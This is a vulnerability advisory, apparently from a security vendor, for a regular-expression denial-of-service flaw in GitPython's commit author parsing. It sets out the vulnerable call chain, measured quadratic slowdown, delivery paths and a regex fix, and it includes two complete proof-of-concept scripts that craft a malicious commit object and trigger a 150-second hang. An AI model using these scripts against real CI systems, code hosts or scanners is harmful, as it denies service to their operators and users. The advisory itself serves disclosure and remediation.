CVE-2026-87819

CVE-2026-87819 is a high-severity uncontrolled resource consumption vulnerability in GitPython (pip), affecting versions <= 3.1.59. It is fixed in 3.1.60.

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Runtime intelligence, not another scanner.

Summary

GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.nameemailregex, commit author/committer field parsing

GitPython's Actor.name_email_regex regular expression (git/util.py, line 863)
is vulnerable to catastrophic backtracking (ReDoS, Regular Expression Denial of
Service). When GitPython parses the author or committer header of a git commit
object that contains a long string with an unterminated < (no matching >), the
Python regex engine enters quadratic backtracking, causing complete single-threaded
CPU exhaustion proportional to the square of the input length.

A single crafted commit object can block any GitPython API call that reads
.author or .committer for over two minutes per invocation, enabling denial
of service against CI runners, code-hosting backends, repository-scanning
pipelines, or any service that processes commits from third-party or untrusted
repositories.

Details

Vulnerable file and line:

git/util.py, line 863:

name_email_regex = re.compile(r"(.*) <(.*?)>")

This regex is evaluated inside Actor._from_string() (line 909) every time
GitPython resolves a commit's .author or .committer property.

Full call chain, from public API to vulnerable sink:

commit.author # any ordinary GitPython API call
└── git/objects/commit.py:917
Commit._deserialize()
└── git/objects/util.py:341
parse_actor_and_date(author_line)
└── git/util.py:909
Actor._from_string(string)
└── Actor.name_email_regex.search(string) ← VULNERABLE

author_line is decoded directly from the raw bytes of the git commit object with
no length limit, character restriction, or timeout applied at any point before
reaching the regex engine. The same chain is triggered by:

  • commit.author
  • commit.committer
  • repo.iter_commits()
  • repo.blame()
  • Any web service / CI tool that displays or processes commit metadata

Why this pattern backtracks catastrophically:

The pattern (.*) <(.*?)> contains an unbounded greedy group (.*) followed by
a literal space and <. When the input is a long string that contains < but no
closing >, the regex engine must try every possible split position for the greedy
group, O(n²) candidate positions for a string of length n, each of which then
drives the inner lazy group into further sub-match attempts. This is the
well-documented "catastrophic backtracking" failure mode for this family of
patterns.

Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):

Author field length (bytes) Time to resolve .author
1,000 0.0035 s
5,000 0.084 s
10,000 0.341 s
20,000 1.525 s
40,000 5.963 s
60,000 13.360 s
80,000 23.871 s
200,000 150.488 s

Each doubling of input size roughly quadruples processing time (e.g. 40,000 →
80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself
imposes no practical size limit on author name fields in the object format.

How the malicious object reaches a victim:

The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git
loose object written directly into .git/objects/. git cat-file -t <sha> confirms
it is a valid commit type and git's own read-side tools display it without error.
Only git's write-side tooling (git commit --author, git update-index,
explicit git fsck) applies the sanity checks that would reject a malformed author
line. Delivery paths that bypass those checks include:

  • A git server with receive.fsckObjects = false (common in self-hosted deployments)
  • A .git directory shipped as a tarball, backup, or zip archive
  • A git bundle file
  • Any automated mirror or import tool that operates at the object level

PoC

Environment used for testing:

  • GitPython 3.1.59, installed in editable mode from source (no code modifications)
  • Python 3.12.3, git 2.43.0, Ubuntu 24.04

Script 1, craft the malicious repository (craft_malicious_repo.py):

#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.

Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd):
    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
        sys.exit(1)

    target_dir, payload_size = sys.argv[1], int(sys.argv[2])

    os.makedirs(target_dir, exist_ok=True)
    run(["git", "init", "--quiet"], cwd=target_dir)
    run(["git", "config", "user.email", "[email protected]"], cwd=target_dir)
    run(["git", "config", "user.name", "PoC"], cwd=target_dir)

    with open(os.path.join(target_dir, "README.txt"), "w") as f:
        f.write("GitPython ReDoS PoC repository\n")
    run(["git", "add", "README.txt"], cwd=target_dir)
    tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()

    malicious_name = "A" * payload_size
    # Key: author field contains a '<' with no closing '>'
    author_line    = f"author {malicious_name} <unterminated 1691999972 -0700"
    committer_line = "committer PoC <[email protected]> 1691999972 -0700"
    message        = "ReDoS PoC commit"

    commit_content = (
        f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
    ).encode()

    header     = f"commit {len(commit_content)}\x00".encode()
    store      = header + commit_content
    sha        = hashlib.sha1(store).hexdigest()
    compressed = zlib.compress(store)

    objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
    os.makedirs(objdir, exist_ok=True)
    with open(os.path.join(objdir, sha[2:]), "wb") as f:
        f.write(compressed)

    run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)

    print(f"Malicious commit sha : {sha}")
    print(f"Payload size         : {payload_size} bytes")
    verify = subprocess.run(
        ["git", "cat-file", "-t", sha],
        cwd=target_dir, capture_output=True, text=True
    )
    print(f"git cat-file -t confirms: {verify.stdout.strip()}")

if __name__ == "__main__":
    main()

Script 2, trigger the vulnerability (trigger_redos.py):

#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().

Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
import sys, time, git

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
        sys.exit(1)

    repo   = git.Repo(sys.argv[1])
    commit = repo.commit(sys.argv[2])

    print("Accessing commit.author, triggers Actor._from_string()...")
    t0     = time.time()
    author = commit.author          # ← this single line causes the hang
    elapsed = time.time() - t0

    print(f"Author name length : {len(author.name)} chars")
    print(f"Elapsed            : {elapsed:.3f} seconds")
    print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")

if __name__ == "__main__":
    main()

Execution and observed output:

$ python3 craft_malicious_repo.py /tmp/victim-repo 200000
Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de
Payload size : 200000 bytes
git cat-file -t confirms: commit

$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de
Accessing commit.author, triggers Actor._from_string()...
Author name length : 200014 chars
Elapsed : 150.488 seconds
RESULT: VULNERABLE

Docker reproduction (fully isolated environment):

docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

# Inside the container:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython

python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000
# note the SHA printed, then:
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>

The python:3.8-bookworm base image matches the one used in GitPython's own
fuzzing/local-dev-helpers/Dockerfile.

Impact

Who is affected:

Any application that uses GitPython to parse commits from a source it does not
fully control. High-risk deployments include:

  • CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.)
    that clone and inspect third-party pull requests, one malicious commit in a PR
    can stall every worker that processes it.
  • Code-hosting or code-review web services that render commit author information
    , a single crafted push blocks every page render or API response that touches that
    commit's metadata.
  • Security or compliance scanners that walk repository history across many
    repositories, one crafted object in any repository exhausts a scanner worker.

Severity of impact:

A 200 KB author field blocks a process for ~150 seconds per single .author
access. When iter_commits() or blame are used, every commit in a history
traversal can be independently crafted, multiplying the total hang time by the
number of commits processed. There is no confidentiality or integrity impact ,
this is a pure availability / resource-exhaustion vulnerability.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-87819 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.60); upgrading removes the vulnerable code path.

Affected versions

GitPython (<= 3.1.59)

Security releases

GitPython → 3.1.60 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Replace the vulnerable pattern with one that cannot backtrack catastrophically.
The minimal, behavior-preserving fix is to exclude < and > from the name
group, removing the ambiguity that forces O(n²) backtracking:

# git/util.py, line 863
# Before (vulnerable):
name_email_regex = re.compile(r"(.*) <(.*?)>")

# After (fixed, identical output for all well-formed input):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")

Because the name group can no longer itself contain a < character, the engine
has exactly one candidate position to try when a closing > is absent, and fails
in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never
contain < or > in either field, so this change produces identical results for
all valid input.

As defense in depth, independently of the regex fix, bounding the maximum number
of characters GitPython will attempt to parse in an author/committer line (e.g.
rejecting strings longer than 4096 bytes before passing them to any regex) would
further limit the blast radius of any future ReDoS class in this parser.

Frequently Asked Questions

  1. What is CVE-2026-87819? CVE-2026-87819 is a high-severity uncontrolled resource consumption vulnerability in GitPython (pip), affecting versions <= 3.1.59. It is fixed in 3.1.60. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2026-87819? CVE-2026-87819 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of GitPython are affected by CVE-2026-87819? GitPython (pip) versions <= 3.1.59 is affected.
  4. Is there a fix for CVE-2026-87819? Yes. CVE-2026-87819 is fixed in 3.1.60. Upgrade to this version or later.
  5. Is CVE-2026-87819 exploitable, and should I be worried? Whether CVE-2026-87819 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-87819 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-87819? Upgrade GitPython to 3.1.60 or later.

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